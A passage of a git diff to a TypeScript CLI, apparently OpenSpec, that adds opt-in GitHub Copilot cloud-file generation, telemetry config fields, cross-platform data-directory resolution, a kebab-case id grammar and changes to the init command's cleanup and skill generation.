FileSystemUtils.resolveProjectArtifactPath(projectPath, relPath), + })); + for (const { fullPath } of managedPaths) { + await assertMissingOrRegularFile(fullPath); + } + + for (const { relPath, fullPath } of managedPaths) { + if (await FileSystemUtils.fileExists(fullPath)) { + const content = await FileSystemUtils.readFile(fullPath); + if (!isManagedCopilotCloudFile(relPath, content)) { + continue; + } + + await fs.unlink(fullPath); + removed++; + } + } + + return removed; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Opt-in +// +// Generating a GitHub Actions workflow into a user's `.github/` is invasive and +// ties us to Copilot's externally-owned coding-agent format, so cloud files are +// opt-in rather than an automatic side effect of selecting the Copilot tool. +// The decision is persisted in openspec/config.yaml so non-interactive +// `openspec update` (CI, agents) honors it without ever prompting. +// ───────────────────────────────────────────────────────────────────────────── + +const COPILOT_CONFIG_KEY = 'githubCopilot'; +const COPILOT_CLOUD_AGENT_KEY = 'cloudAgent'; + +/** + * Read the persisted opt-in for Copilot cloud-file generation. + * + * Tri-state: `true` (opted in), `false` (explicitly opted out), or `undefined` + * (never decided). A malformed value is treated as undecided rather than an + * error, matching how {@link readProjectConfig} degrades on bad fields. + */ +export function readCopilotCloudOptIn(projectPath: string): boolean | undefined { + const value = readProjectConfig(projectPath)?.githubCopilot?.cloudAgent; + return typeof value === 'boolean' ? value : undefined; +} + +/** + * True when a managed Copilot cloud file (the current generation or a + * recognized legacy one) already exists. Projects created before the opt-in + * prompt existed are treated as implicitly opted in, so `openspec update` + * keeps their files current instead of silently abandoning them. + */ +export async function hasExistingManagedCloudFiles(projectPath: string): Promise<boolean> { + for (const relPath of Object.values(COPILOT_CLOUD_FILES)) { + const fullPath = FileSystemUtils.resolveProjectArtifactPath(projectPath, relPath); + if (!(await FileSystemUtils.fileExists(fullPath))) { + continue; + } + const content = await FileSystemUtils.readFile(fullPath); + if (isManagedCopilotCloudFile(relPath, content)) { + return true; + } + } + return false; +} + +/** + * Effective decision on whether to generate/refresh Copilot cloud files. + * An explicit opt-in or opt-out always wins; when undecided, fall back to + * whether managed files already exist (the migration path above). + */ +export async function isCopilotCloudEnabled(projectPath: string): Promise<boolean> { + const optIn = readCopilotCloudOptIn(projectPath); + if (typeof optIn === 'boolean') { + return optIn; + } + return hasExistingManagedCloudFiles(projectPath); +} + +/** + * Persist the Copilot cloud opt-in into openspec/config.yaml. + * + * Uses the YAML document model rather than a re-serialize so the user's + * existing comments, ordering, and formatting survive untouched — the config + * file is hand-authored and heavily commented, so a lossy round-trip would be + * its own source of toil. No-op when no config file exists yet (init creates it + * before this is called); the caller treats persistence failures as non-fatal. + */ +export async function persistCopilotCloudOptIn( + projectPath: string, + value: boolean +): Promise<void> { + const configPath = resolveConfigFilePath(projectPath); + if (!configPath) { + return; + } + const existing = await FileSystemUtils.readFile(configPath); + const parsed = parseDocument(existing); + // A file YAML can't parse cleanly — a multi-document stream, a tab-indented + // syntax error — can't be edited without corrupting it, and toString() would + // throw. Leave it untouched rather than clobber or crash; such a file is + // already invalid, so readProjectConfig ignores it anyway. + if (parsed.errors.length > 0) { + return; + } + // `setIn(['githubCopilot', ...])` needs a top-level map. A config whose root + // is anything else — a scalar (`null`, a bare string) or even a sequence — + // has no map to set a key on and makes setIn throw. Such a file is already + // invalid (readProjectConfig rejects it), so start fresh rather than crash. + // An empty or comment-only file parses to null contents, which setIn fills in + // while keeping the comments — so only a non-map root is discarded. + const doc: Document = + parsed.contents === null || isMap(parsed.contents) ? parsed : new Document(); + // The root is a map now, but the `githubCopilot` node itself may be a stray + // scalar/sequence/null (e.g. `githubCopilot: false`) — descending into that + // with setIn also throws. Replace any non-map node with an empty map first. + const section = doc.getIn([COPILOT_CONFIG_KEY], true); + if (section !== undefined && !isMap(section)) { + doc.setIn([COPILOT_CONFIG_KEY], new YAMLMap()); + } + doc.setIn([COPILOT_CONFIG_KEY, COPILOT_CLOUD_AGENT_KEY], value); + await FileSystemUtils.writeFile(configPath, doc.toString()); +} + +/** + * Return the managed cloud-file paths (relative to the project root) that + * currently hold user-owned, non-managed content — i.e. files OpenSpec will + * deliberately leave untouched. Used to tell an opted-in user that we preserved + * their existing file rather than silently doing nothing, which is the honest + * answer to "will this affect my existing Copilot cloud setup?". + */ +export async function findUnmanagedCloudFiles(projectPath: string): Promise<string[]> { + const collisions: string[] = []; + for (const relPath of Object.values(COPILOT_CLOUD_FILES)) { + const fullPath = FileSystemUtils.resolveProjectArtifactPath(projectPath, relPath); + if (!(await FileSystemUtils.fileExists(fullPath))) { + continue; + } + const content = await FileSystemUtils.readFile(fullPath); + if (!isManagedCopilotCloudFile(relPath, content)) { + collisions.push(relPath); + } + } + return collisions; +} + +/** + * Return the managed cloud-file paths (relative to the project root) that + * currently exist and hold OpenSpec-generated content. Callers report this + * rather than the intended paths, so output never claims a file that a write + * skipped (user already owns it) or that reconciliation removed. + */ +export async function listManagedCloudFiles(projectPath: string): Promise<string[]> { + const present: string[] = []; + for (const relPath of Object.values(COPILOT_CLOUD_FILES)) { + const fullPath = FileSystemUtils.resolveProjectArtifactPath(projectPath, relPath); + if (!(await FileSystemUtils.fileExists(fullPath))) { + continue; + } + const content = await FileSystemUtils.readFile(fullPath); + if (isManagedCopilotCloudFile(relPath, content)) { + present.push(relPath); + } + } + return present; +} diff --git a/src/core/global-config.ts b/src/core/global-config.ts index 08b3e74620..81986d8be7 100644 --- a/src/core/global-config.ts +++ b/src/core/global-config.ts @@ -11,12 +11,31 @@ export const GLOBAL_DATA_DIR_NAME = 'openspec'; export type Profile = 'core' | 'custom'; export type Delivery = 'both' | 'skills' | 'commands'; +/** Telemetry section of global config (identity + opt-out). */ +export interface TelemetryConfig { + /** When false, telemetry is disabled. Unset means enabled (opt-out model). */ + enabled?: boolean; + /** Anonymous random UUID; no relation to the user. */ + anonymousId?: string; + /** Whether the first-run telemetry notice has been shown. */ + noticeSeen?: boolean; +} + // TypeScript interfaces export interface GlobalConfig { featureFlags?: Record<string, boolean>; profile?: Profile; delivery?: Delivery; workflows?: string[]; + /** + * Machine-level fallback store id, consulted during root resolution only + * when no --store flag, local root, or project-level store: pointer resolves. + */ + defaultStore?: string; + /** Workset opener rows (slice 7.1); hand-edited, validated on use. */ + openers?: unknown; + /** Anonymous usage analytics settings and identity. */ + telemetry?: TelemetryConfig; } const DEFAULT_CONFIG: GlobalConfig = { @@ -63,27 +82,42 @@ export function getGlobalConfigDir(): string { * - Unix/macOS fallback: ~/.local/share/openspec/ * - Windows fallback: %LOCALAPPDATA%/openspec/ */ -export function getGlobalDataDir(): string { +export interface GlobalDataDirOptions { + env?: NodeJS.ProcessEnv; + platform?: NodeJS.Platform; + homedir?: string; +} + +function joinGlobalDataPath(platform: NodeJS.Platform, ...segments: string[]): string { + return platform === 'win32' + ? path.win32.join(...segments) + : path.posix.join(...segments); +} + +export function getGlobalDataDir(options: GlobalDataDirOptions = {}): string { + const env = options.env ?? process.env; + const platform = options.platform ?? os.platform(); + // XDG_DATA_HOME takes precedence on all platforms when explicitly set - const xdgDataHome = process.env.XDG_DATA_HOME; + const xdgDataHome = env.XDG_DATA_HOME; if (xdgDataHome) { - return path.join(xdgDataHome, GLOBAL_DATA_DIR_NAME); + return joinGlobalDataPath(platform, xdgDataHome, GLOBAL_DATA_DIR_NAME); } - const platform = os.platform(); + const homedir = options.homedir ?? os.homedir(); if (platform === 'win32') { // Windows: use %LOCALAPPDATA% - const localAppData = process.env.LOCALAPPDATA; + const localAppData = env.LOCALAPPDATA; if (localAppData) { - return path.join(localAppData, GLOBAL_DATA_DIR_NAME); + return joinGlobalDataPath(platform, localAppData, GLOBAL_DATA_DIR_NAME); } // Fallback for Windows if LOCALAPPDATA is not set - return path.join(os.homedir(), 'AppData', 'Local', GLOBAL_DATA_DIR_NAME); + return joinGlobalDataPath(platform, homedir, 'AppData', 'Local', GLOBAL_DATA_DIR_NAME); } // Unix/macOS fallback: ~/.local/share - return path.join(os.homedir(), '.local', 'share', GLOBAL_DATA_DIR_NAME); + return joinGlobalDataPath(platform, homedir, '.local', 'share', GLOBAL_DATA_DIR_NAME); } /** diff --git a/src/core/id.ts b/src/core/id.ts new file mode 100644 index 0000000000..a1f033850d --- /dev/null +++ b/src/core/id.ts @@ -0,0 +1,41 @@ +/** + * The one kebab id grammar. Store ids, change ids, and legacy initiative ids + * all share it. + */ +export const KEBAB_ID_REGEX = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + +export function isKebabId(value: string): boolean { + return KEBAB_ID_REGEX.test(value); +} + +/** Human rendering of the grammar, shared so the wording never forks. */ +export const KEBAB_ID_DESCRIPTION = + 'must be kebab-case with lowercase letters, numbers, and single hyphen separators'; + +/** The fix-line twin of KEBAB_ID_DESCRIPTION, shared for the same reason. */ +export const KEBAB_ID_FIX = + 'Use kebab-case with lowercase letters, numbers, and single hyphen separators.'; + +/** + * The folder-safe-name grammar (store ids layer the kebab grammar on + * top of it; workset member labels use it alone). Returns a problem + * description, or null when valid. + */ +export function folderStyleNameProblem( + value: string, + label: string +): string | null { + if (value.length === 0) { + return `${label} must not be empty`; + } + + if (value === '.' || value === '..') { + return `${label} must not be '${value}'`; + } + + if (/[\\/]/u.test(value)) { + return `${label} must not contain path separators`; + } + + return null; +} diff --git a/src/core/index.ts b/src/core/index.ts index e8677090f5..384c6daa79 100644 --- a/src/core/index.ts +++ b/src/core/index.ts @@ -3,10 +3,16 @@ export { GLOBAL_CONFIG_DIR_NAME, GLOBAL_CONFIG_FILE_NAME, GLOBAL_DATA_DIR_NAME, + type GlobalDataDirOptions, type GlobalConfig, getGlobalConfigDir, getGlobalConfigPath, getGlobalConfig, saveGlobalConfig, getGlobalDataDir -} from './global-config.js'; \ No newline at end of file +} from './global-config.js'; + +export * from './references.js'; +export * from './store/index.js'; +export * from './planning-home.js'; +export * from './openspec-root.js'; diff --git a/src/core/init.ts b/src/core/init.ts index aa38408f22..76c2a96977 100644 --- a/src/core/init.ts +++ b/src/core/init.ts @@ -11,11 +11,14 @@ import ora from 'ora'; import * as fs from 'fs'; import { createRequire } from 'module'; import { FileSystemUtils } from '../utils/file-system.js'; -import { transformToHyphenCommands } from '../utils/command-references.js'; +import { classifyOpenSpecDir, storePointerProblem } from './project-config.js'; +import { findRepoPlanningRootSync } from './planning-home.js'; +import { getSkillReferenceTransformer, getTransformerForTool, usesNaturalLanguageSkillReferences } from '../utils/command-references.js'; import { AI_TOOLS, OPENSPEC_DIR_NAME, AIToolOption, + resolveToolIdAlias, } from './config.js'; import { PALETTE } from './styles/palette.js'; import { isInteractive } from '../utils/interactive.js'; @@ -28,7 +31,11 @@ import { detectLegacyArtifacts, cleanupLegacyArtifacts, formatCleanupSummary, + formatDeferredGlobalPromptSummary, formatDetectionSummary, + getLegacyGlobalPromptMatches, + omitGlobalLegacyPromptFiles, + pickGlobalLegacyPromptFiles, type LegacyDetectionResult, } from './legacy-cleanup.js'; import { @@ -39,12 +46,33 @@ import { getSkillTemplates, getCommandContents, generateSkillContent, + hasGlobalSkillTarget, + resolveToolSkillsDir, + toolSupportsSkills, type ToolSkillStatus, } from './shared/index.js'; import { getGlobalConfig, type Delivery, type Profile } from './global-config.js'; import { getProfileWorkflows, CORE_WORKFLOWS, ALL_WORKFLOWS } from './profiles.js'; import { getAvailableTools } from './available-tools.js'; -import { migrateIfNeeded } from './migration.js'; +import { writeSharedSkillTarget } from './shared-skill-target.js'; +import { migrateIfNeeded, migrateLegacyToolDirs, describeLegacyMigration, keptInPlaceNotice, hasMovableContent, scanInstalledWorkflows as scanInstalledWorkflowsShared } from './migration.js'; +import { + resolveCommandSurfaceCapability, + resolveCommandInvocation, + shouldGenerateCommandsForTool, + shouldGenerateSkillsForTool, + shouldReconcileCommandFilesForTool, + shouldRemoveSkillsForTool, +} from './command-surface.js'; +import { + writeCopilotCloudFiles, + readCopilotCloudOptIn, + hasExistingManagedCloudFiles, + persistCopilotCloudOptIn, + removeCopilotCloudFiles, + findUnmanagedCloudFiles, + listManagedCloudFiles, +} from './github-copilot/cloud-agent.js'; const require = createRequire(import.meta.url); const { version: OPENSPEC_VERSION } = require('../../package.json'); @@ -65,6 +93,7 @@ const WORKFLOW_TO_SKILL_DIR: Record<string, string> = { 'new': 'openspec-new-change', 'continue': 'openspec-continue-change', 'apply': 'openspec-apply-change', + 'update': 'openspec-update-change', 'ff': 'openspec-ff-change', 'sync': 'openspec-sync-specs', 'archive': 'openspec-archive-change', @@ -83,6 +112,32 @@ type InitCommandOptions = { force?: boolean; interactive?: boolean; profile?: string; + /** Commander's --no-animation flag: false disables the welcome animation. */ + animation?: boolean; + /** + * Explicit opt-in/out for GitHub Copilot cloud coding-agent files. + * `--copilot-cloud` sets true, `--no-copilot-cloud` sets false; undefined + * leaves the decision to config, migration, or an interactive prompt. + */ + copilotCloud?: boolean; +}; + +type ValidatedInitTool = { + value: string; + name: string; + skillsDir?: string; + skillsPath: string; + skillsRoot: string; + isGlobalSkillTarget: boolean; + wasConfigured: boolean; +}; + +/** + * Holds the global Codex prompt matches that must wait until replacement skills + * are generated before cleanup can continue. + */ +type DeferredLegacyCleanup = { + detection: LegacyDetectionResult; }; // ----------------------------------------------------------------------------- @@ -94,12 +149,16 @@ export class InitCommand { private readonly force: boolean; private readonly interactiveOption?: boolean; private readonly profileOverride?: string; + private readonly animation: boolean; + private readonly copilotCloudOption?: boolean; constructor(options: InitCommandOptions = {}) { this.toolsArg = options.tools; this.force = options.force ?? false; this.interactiveOption = options.interactive; this.profileOverride = options.profile; + this.animation = options.animation ?? true; + this.copilotCloudOption = options.copilotCloud; } async execute(targetPath: string): Promise<void> { @@ -110,8 +169,39 @@ export class InitCommand { // Validation happens silently in the background const extendMode = await this.validate(projectPath, openspecPath); + // Pointer guard (slice 3.2): a config-only openspec/ with a store: + // declaration is externalized planning, not a root to extend — and a + // subdirectory of such a repo must not silently grow a nested root. + // Refuse before legacy cleanup, migration, or prompts touch anything. + // In extend mode the walk finds projectPath itself; otherwise it + // finds the nearest ancestor root (so pointer-repo subdirectories + // refuse exactly where a normal command would resolve the pointer). + const guardRoot = findRepoPlanningRootSync(projectPath); + if (guardRoot) { + const { hasPlanningShape, pointer } = classifyOpenSpecDir(guardRoot); + if (!hasPlanningShape) { + if (pointer.malformed) { + throw new Error( + `The store declaration in ${pointer.filePath} is invalid (` + + storePointerProblem(pointer.malformed) + + `). Fix or remove the store: line before running openspec init.` + ); + } + if (pointer.value !== undefined) { + throw new Error( + `This repo's planning is externalized to store '${pointer.value}' (${pointer.filePath}). ` + + `Remove the store: line first to convert this repo to a local OpenSpec root.` + ); + } + } + } + // Check for legacy artifacts and handle cleanup - await this.handleLegacyCleanup(projectPath, extendMode); + const deferredLegacyCleanup = await this.handleLegacyCleanup(projectPath, extendMode); + + // Migrate OpenSpec-managed skills left in renamed tool directories + // (e.g. .kimi -> .kimi-code) before detection so they stay recognized. + migrateLegacyToolDirs(projectPath); // Detect available tools in the project (task 7.1) const detectedTools = getAvailableTools(projectPath); @@ -121,17 +211,19 @@ export class InitCommand { migrateIfNeeded(projectPath, detectedTools); } + // Validate profile override early so invalid values fail before tool setup. + // The resolved value is consumed later when generation reads effective config. + // This runs ahead of the welcome screen so an invalid --profile does not make + // the user press Enter before seeing the error. + this.resolveProfileOverride(); + // Show animated welcome screen (interactive mode only) const canPrompt = this.canPromptInteractively(); if (canPrompt) { const { showWelcomeScreen } = await import('../ui/welcome-screen.js'); - await showWelcomeScreen(); + await showWelcomeScreen(this.getActiveWorkflows(), { animate: this.animation }); } - // Validate profile override early so invalid values fail before tool setup. - // The resolved value is consumed later when generation reads effective config. - this.resolveProfileOverride(); - // Get tool states before processing const toolStates = getToolStates(projectPath); @@ -139,19 +231,96 @@ export class InitCommand { const selectedToolIds = await this.getSelectedTools(toolStates, extendMode, detectedTools, projectPath); // Validate selected tools - const validatedTools = this.validateTools(selectedToolIds, toolStates); + const validatedTools = this.validateTools(selectedToolIds, toolStates, projectPath); + + // Selecting a renamed tool is consent to leave its former directory: + // init is about to write the current one, and leaving OpenSpec content + // behind would give the user two installs of the same tool. + for (const migration of migrateLegacyToolDirs( + projectPath, + validatedTools.map((tool) => tool.value) + )) { + if (hasMovableContent(migration)) { + console.log(chalk.dim(`Migrated ${describeLegacyMigration(migration)}: ${migration.from} → ${migration.to}`)); + } + const kept = keptInPlaceNotice(migration); + if (kept) console.log(chalk.dim(kept)); + } + + // Decide whether to generate GitHub Copilot cloud files. This is opt-in + // (see cloud-agent.ts): selecting the Copilot tool no longer silently + // writes a GitHub Actions workflow into the user's .github/. The decision + // is made before generation so the write can be gated, and persisted after + // config.yaml exists so future non-interactive updates honor it. + const copilotDecision = await this.resolveCopilotCloudDecision(projectPath, validatedTools); // Create directory structure and config await this.createDirectoryStructure(openspecPath, extendMode); // Generate skills and commands for each tool - const results = await this.generateSkillsAndCommands(projectPath, validatedTools); + const results = await this.generateSkillsAndCommands( + projectPath, + validatedTools, + copilotDecision.write + ); + + // Legacy cleanup was deferred to avoid interfering with skill/command generation; + // now that outputs are written, finalize the cleanup (e.g. remove stale files). + if (deferredLegacyCleanup) { + await this.finalizeDeferredLegacyCleanup(projectPath, deferredLegacyCleanup); + } // Create config.yaml if needed const configStatus = await this.createConfig(openspecPath, extendMode); + // Persist an explicit Copilot cloud decision so `openspec update` (which + // never prompts) honors it. Best-effort: a config-write failure must not + // fail an otherwise-successful init. + if (copilotDecision.persist !== undefined) { + try { + await persistCopilotCloudOptIn(projectPath, copilotDecision.persist); + } catch { + // Non-fatal: the files (if any) were still written correctly. + } + } + + // An explicit opt-out means "no cloud files here": clean up any that a + // previous run (or an older OpenSpec) generated. Only OpenSpec-managed + // files are removed — a user-customized file is preserved. + let copilotRemoved = 0; + if (copilotDecision.optedOut) { + try { + copilotRemoved = await removeCopilotCloudFiles(projectPath); + } catch { + // Non-fatal: removal targets files from a prior run; a failure here + // just leaves them for the next `openspec update` to clean up. + } + } + + // Report the cloud outcome from what is actually on disk after the write, + // not from the decision alone: writing over a user-owned file is a no-op, + // and the alternate-agent path can remove a managed file — so list only + // managed files that exist, and separately flag any left-untouched ones. + const copilotSucceeded = [...results.createdTools, ...results.refreshedTools].some( + (tool) => tool.value === 'github-copilot' + ); + const wroteCloud = copilotDecision.write && copilotSucceeded; + const copilotPresent = wroteCloud ? await listManagedCloudFiles(projectPath) : []; + const copilotCollisions = wroteCloud ? await findUnmanagedCloudFiles(projectPath) : []; + // Display success message - this.displaySuccessMessage(projectPath, validatedTools, results, configStatus); + this.displaySuccessMessage(projectPath, validatedTools, results, configStatus, { + write: copilotDecision.write, + skippedUndecided: copilotDecision.skippedUndecided, + present: copilotPresent, + collisions: copilotCollisions, + removed: copilotRemoved, + }); + if (results.failedTools.length > 0) { + throw new Error( + `OpenSpec setup failed for: ${results.failedTools.map((tool) => tool.name).join(', ')}` + ); + } } // ═══════════════════════════════════════════════════════════ @@ -177,6 +346,73 @@ export class InitCommand { return isInteractive({ interactive: this.interactiveOption }); } + /** + * Decide whether to generate GitHub Copilot cloud files, and whether to + * persist that decision. Precedence: + * 1. `--copilot-cloud` / `--no-copilot-cloud` flag (explicit this run) + * 2. persisted opt-in in config.yaml + * 3. managed files already present (migration for pre-opt-in projects) + * 4. interactive confirm (default No) + * 5. non-interactive with no signal: skip, and don't persist a default + * + * @returns `write` — generate the files this run; `persist` — value to write + * back to config (undefined = leave config untouched); `optedOut` — the user + * explicitly declined, so any already-generated managed files should be + * removed; `skippedUndecided` — selected but no signal and couldn't ask, so + * the caller can hint that the opt-in exists. + */ + private async resolveCopilotCloudDecision( + projectPath: string, + tools: ValidatedInitTool[] + ): Promise<{ write: boolean; persist?: boolean; optedOut: boolean; skippedUndecided: boolean }> { + const copilotSelected = tools.some((tool) => tool.value === 'github-copilot'); + if (!copilotSelected) { + // A flag that can't apply is a likely mistake — say so rather than no-op. + if (this.copilotCloudOption !== undefined) { + console.log( + chalk.yellow( + '--copilot-cloud/--no-copilot-cloud was ignored because the github-copilot tool was not selected.' + ) + ); + } + return { write: false, optedOut: false, skippedUndecided: false }; + } + + if (this.copilotCloudOption !== undefined) { + return { + write: this.copilotCloudOption, + persist: this.copilotCloudOption, + optedOut: !this.copilotCloudOption, + skippedUndecided: false, + }; + } + + const persistedOptIn = readCopilotCloudOptIn(projectPath); + if (typeof persistedOptIn === 'boolean') { + return { write: persistedOptIn, optedOut: !persistedOptIn, skippedUndecided: false }; + } + + if (await hasExistingManagedCloudFiles(projectPath)) { + return { write: true, optedOut: false, skippedUndecided: false }; + } + + if (this.canPromptInteractively()) { + const { confirm } = await import('@inquirer/prompts'); + const answer = await confirm({ + message: + 'Set up GitHub Copilot cloud coding-agent files? This is for the GitHub-hosted ' + + 'Copilot coding agent (github.com), not Copilot in your editor. It writes two files: ' + + '.github/workflows/copilot-setup-steps.yml and .github/agents/openspec.agent.md.', + default: false, + }); + return { write: answer, persist: answer, optedOut: !answer, skippedUndecided: false }; + } + + // Non-interactive with no explicit signal: don't write, and leave the + // decision unpersisted so a later interactive run can still prompt. + return { write: false, optedOut: false, skippedUndecided: true }; + } + private resolveProfileOverride(): Profile | undefined { if (this.profileOverride === undefined) { return undefined; @@ -189,22 +425,49 @@ export class InitCommand { throw new Error(`Invalid profile "${this.profileOverride}". Available profiles: core, custom`); } + /** + * Resolves the workflows the effective profile installs, so onboarding output + * only mentions commands that will actually exist. + */ + private getActiveWorkflows(): string[] { + const globalCfg = getGlobalConfig(); + const activeProfile: Profile = this.resolveProfileOverride() ?? globalCfg.profile ?? 'core'; + return [...getProfileWorkflows(activeProfile, globalCfg.workflows)]; + } + // ═══════════════════════════════════════════════════════════ // LEGACY CLEANUP // ═══════════════════════════════════════════════════════════ - private async handleLegacyCleanup(projectPath: string, extendMode: boolean): Promise<void> { + /** + * Cleans repo-local legacy artifacts immediately and defers global Codex prompt + * cleanup until replacement skills have been installed. + */ + private async handleLegacyCleanup(projectPath: string, extendMode: boolean): Promise<DeferredLegacyCleanup | null> { // Detect legacy artifacts const detection = await detectLegacyArtifacts(projectPath); if (!detection.hasLegacyArtifacts) { - return; // No legacy artifacts found + return null; // No legacy artifacts found } + const immediateDetection = omitGlobalLegacyPromptFiles(detection); + // Show what was detected - console.log(); - console.log(formatDetectionSummary(detection)); - console.log(); + const immediateSummary = formatDetectionSummary(immediateDetection); + if (immediateSummary) { + console.log(); + console.log(immediateSummary); + console.log(); + } + + // Show which global prompts are deferred — they'll only be removed once + // the corresponding replacement skills are installed during generation. + const deferredSummary = formatDeferredGlobalPromptSummary(detection); + if (deferredSummary) { + console.log(deferredSummary); + console.log(); + } const canPrompt = this.canPromptInteractively(); @@ -212,8 +475,8 @@ export class InitCommand { // --force flag or non-interactive mode: proceed with cleanup automatically. // Legacy slash commands are 100% OpenSpec-managed, and config file cleanup // only removes markers (never deletes files), so auto-cleanup is safe. - await this.performLegacyCleanup(projectPath, detection); - return; + await this.performImmediateLegacyCleanup(projectPath, detection); + return detection.globalSlashCommandFiles.length > 0 ? { detection } : null; } // Interactive mode: prompt for confirmation @@ -229,7 +492,71 @@ export class InitCommand { process.exit(0); } - await this.performLegacyCleanup(projectPath, detection); + await this.performImmediateLegacyCleanup(projectPath, detection); + return detection.globalSlashCommandFiles.length > 0 ? { detection } : null; + } + + /** + * Applies the safe subset of legacy cleanup that does not depend on newly + * generated Codex skills. + */ + private async performImmediateLegacyCleanup( + projectPath: string, + detection: LegacyDetectionResult + ): Promise<void> { + const immediateDetection = omitGlobalLegacyPromptFiles(detection); + if (!immediateDetection.hasLegacyArtifacts) { + return; + } + + await this.performLegacyCleanup(projectPath, immediateDetection); + } + + /** + * Removes only the legacy global Codex prompts whose workflows now have + * replacement skills in the project. + */ + private async finalizeDeferredLegacyCleanup( + projectPath: string, + deferredCleanup: DeferredLegacyCleanup + ): Promise<void> { + const availableCodexWorkflows = await this.getInstalledWorkflowsForTool(projectPath, 'codex'); + const removableMatches = getLegacyGlobalPromptMatches(deferredCleanup.detection) + .filter((prompt) => prompt.workflowIds.every((workflowId) => availableCodexWorkflows.has(workflowId))); + + if (removableMatches.length > 0) { + await this.performLegacyCleanup( + projectPath, + pickGlobalLegacyPromptFiles( + deferredCleanup.detection, + removableMatches.map((prompt) => prompt.path) + ) + ); + } + + const blockedMatches = getLegacyGlobalPromptMatches(deferredCleanup.detection) + .filter((prompt) => !removableMatches.some((match) => match.path === prompt.path)); + + if (blockedMatches.length > 0) { + console.log(chalk.yellow('Preserved deferred global prompts without replacement skills:')); + for (const prompt of blockedMatches) { + console.log(chalk.dim(` - ${prompt.toolId}: ${prompt.path}`)); + } + console.log(); + } + } + + /** + * Reads the currently installed workflow IDs for a single tool from the + * generated skill layout on disk. + */ + private async getInstalledWorkflowsForTool(projectPath: string, toolId: string): Promise<Set<string>> { + const tool = AI_TOOLS.find((candidate) => candidate.value === toolId); + if (!tool) { + return new Set<string>(); + } + + return new Set(scanInstalledWorkflowsShared(projectPath, [tool])); } private async performLegacyCleanup(projectPath: string, detection: LegacyDetectionResult): Promise<void> { @@ -387,7 +714,9 @@ export class InitCommand { ); } - const normalizedTokens = tokens.map((token) => token.toLowerCase()); + // Retired ids resolve to their current tool, so a rebrand does not break + // an existing `--tools windsurf` in someone's setup script. + const normalizedTokens = tokens.map((token) => resolveToolIdAlias(token.toLowerCase())); if (normalizedTokens.some((token) => token === 'all' || token === 'none')) { throw new Error('Cannot combine reserved values "all" or "none" with specific tool IDs.'); @@ -416,11 +745,23 @@ export class InitCommand { private validateTools( toolIds: string[], - toolStates: Map<string, ToolSkillStatus> - ): Array<{ value: string; name: string; skillsDir: string; wasConfigured: boolean }> { - const validatedTools: Array<{ value: string; name: string; skillsDir: string; wasConfigured: boolean }> = []; + toolStates: Map<string, ToolSkillStatus>, + projectPath: string + ): ValidatedInitTool[] { + const validatedTools: ValidatedInitTool[] = []; + + const reconciledToolIds = toolIds.includes('codex') && toolIds.includes('agents') + ? toolIds.filter((toolId) => toolId !== 'agents') + : toolIds; + if (reconciledToolIds.length !== toolIds.length) { + console.log( + chalk.dim( + 'Codex and agents share .agents/skills; writing one tree with Codex and generic skill references.' + ) + ); + } - for (const toolId of toolIds) { + for (const toolId of reconciledToolIds) { const tool = AI_TOOLS.find((t) => t.value === toolId); if (!tool) { const validToolIds = getToolsWithSkillsDir(); @@ -429,7 +770,7 @@ export class InitCommand { ); } - if (!tool.skillsDir) { + if (!toolSupportsSkills(tool)) { const validToolsWithSkills = getToolsWithSkillsDir(); throw new Error( `Tool '${toolId}' does not support skill generation.\nTools with skill generation support:\n ${validToolsWithSkills.join('\n ')}` @@ -437,10 +778,15 @@ export class InitCommand { } const preState = toolStates.get(tool.value); + const skillsPath = resolveToolSkillsDir(projectPath, tool); + const isGlobalSkillTarget = hasGlobalSkillTarget(tool); validatedTools.push({ value: tool.value, name: tool.name, skillsDir: tool.skillsDir, + skillsPath, + skillsRoot: isGlobalSkillTarget ? skillsPath : projectPath, + isGlobalSkillTarget, wasConfigured: preState?.configured ?? false, }); } @@ -463,6 +809,7 @@ export class InitCommand { ]; for (const dir of directories) { + FileSystemUtils.assertProjectArtifactPath(path.dirname(openspecPath), dir); await FileSystemUtils.createDirectory(dir); } return; @@ -478,6 +825,7 @@ export class InitCommand { ]; for (const dir of directories) { + FileSystemUtils.assertProjectArtifactPath(path.dirname(openspecPath), dir); await FileSystemUtils.createDirectory(dir); } @@ -491,14 +839,24 @@ export class InitCommand { // SKILL & COMMAND GENERATION // ═══════════════════════════════════════════════════════════ + /** + * Generates skill files and slash commands for each selected tool, + * honoring the configured delivery mode (skills, commands, or both). + * + * @param projectPath - Absolute path to the project root + * @param tools - Selected tools with their skill directory metadata + * @returns Created, refreshed, and failed tools plus removed artifact counts + */ private async generateSkillsAndCommands( projectPath: string, - tools: Array<{ value: string; name: string; skillsDir: string; wasConfigured: boolean }> + tools: ValidatedInitTool[], + writeCopilotCloud: boolean ): Promise<{ createdTools: typeof tools; refreshedTools: typeof tools; failedTools: Array<{ name: string; error: Error }>; commandsSkipped: string[]; + skillsInvocableCommandSkips: string[]; removedCommandCount: number; removedSkillCount: number; }> { @@ -506,6 +864,7 @@ export class InitCommand { const refreshedTools: typeof tools = []; const failedTools: Array<{ name: string; error: Error }> = []; const commandsSkipped: string[] = []; + const skillsInvocableCommandSkips: string[] = []; let removedCommandCount = 0; let removedSkillCount = 0; @@ -516,38 +875,45 @@ export class InitCommand { const workflows = getProfileWorkflows(profile, globalConfig.workflows); // Get skill and command templates filtered by profile workflows - const shouldGenerateSkills = delivery !== 'commands'; - const shouldGenerateCommands = delivery !== 'skills'; - const skillTemplates = shouldGenerateSkills ? getSkillTemplates(workflows) : []; - const commandContents = shouldGenerateCommands ? getCommandContents(workflows) : []; + const deliveryIncludesCommands = delivery !== 'skills'; + const skillTemplates = getSkillTemplates(workflows); + const commandContents = getCommandContents(workflows); // Process each tool for (const tool of tools) { const spinner = ora(`Setting up ${tool.name}...`).start(); try { - // Generate skill files if delivery includes skills - if (shouldGenerateSkills) { - // Use tool-specific skillsDir - const skillsDir = path.join(projectPath, tool.skillsDir, 'skills'); + const shouldGenerateSkills = shouldGenerateSkillsForTool(tool.value, delivery); + const shouldGenerateCommands = shouldGenerateCommandsForTool(tool.value, delivery); + // Generate skill files if the selected delivery and tool capability allow skills + if (shouldGenerateSkills) { // Create skill directories and SKILL.md files for (const { template, dirName } of skillTemplates) { - const skillDir = path.join(skillsDir, dirName); + const skillDir = path.join(tool.skillsPath, dirName); const skillFile = path.join(skillDir, 'SKILL.md'); // Generate SKILL.md content with YAML frontmatter including generatedBy - // Use hyphen-based command references for tools where filename = command name - const transformer = (tool.value === 'opencode' || tool.value === 'pi') ? transformToHyphenCommands : undefined; + const transformer = 